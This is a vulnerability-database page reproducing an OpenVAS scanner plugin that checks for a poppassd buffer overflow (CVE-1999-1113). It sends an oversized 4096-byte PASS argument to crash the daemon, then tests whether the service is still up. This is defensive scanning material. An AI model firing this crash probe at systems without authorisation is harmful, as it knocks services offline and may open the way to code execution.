Lucene search
+L

poppassd USER overflow

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2005 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 23 Views

The remote poppassd daemon crashes when a too long name is sent after the USER command. Possible arbitrary code execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-1113
12 Sep 200104:00
cve
cvelist
Cvelist
CVE-1999-1113
12 Sep 200104:00
cvelist
exploitdb
Exploit DB
Qualcomm Eudora Internet Mail Server 1.2 - Remote Buffer Overflow
14 Apr 199800:00
exploitdb
euvd
EUVD
EUVD-1999-1094
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-1113
14 Apr 199804:00
nvd
openvas
OpenVAS
poppassd USER overflow
3 Nov 200500:00
openvas
nessus
Tenable Nessus
Eudora Internet Mail Server for Mac OS USER Overflow
8 Mar 200500:00
nessus
SourceLink
securityfocuswww.securityfocus.com/bid/75
# SPDX-FileCopyrightText: 2005 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.17295");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-1999-1113");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/75");
  script_name("poppassd USER overflow");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2005 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("find_service1.nasl", "find_service_3digits.nasl");
  script_require_ports("Services/pop3pw", 106);

  script_tag(name:"solution", value:"Upgrade your software or use another one.");

  script_tag(name:"summary", value:"The remote poppassd daemon crashes when a too
  long name is sent after the USER command.");

  script_tag(name:"impact", value:"It might be possible for a remote attacker to run
  arbitrary code on this machine.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:106, proto:"pop3pw");

soc = open_sock_tcp(port);
if(! soc)
  exit(0);

r = recv_line(socket:soc, length:4096);
if(r !~ '^200 ') {
  close(soc);
  exit(0);
}

vt_strings = get_vt_strings();

send(socket:soc, data:'USER ' + vt_strings["lowercase"] + '\r\n');
r = recv_line(socket:soc, length:4096);
if(r !~ '^200 ') {
  close(soc);
  exit(0);
}

send(socket:soc, data:'PASS '+crap(4096)+'\r\n');
line = recv_line(socket:soc, length:4096);
close(soc);

sleep(1);

soc = open_sock_tcp(port);
if (! soc) {
  security_message(port);
  exit(0);
}

if(! line) {
  security_message(port:port, data:"Note that the scanner did not crash the service, so this might be a false positive. However, if the poppassd service is run through inetd it is impossible to reliably test this kind of flaw.");
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 25
EPSS0.05522
23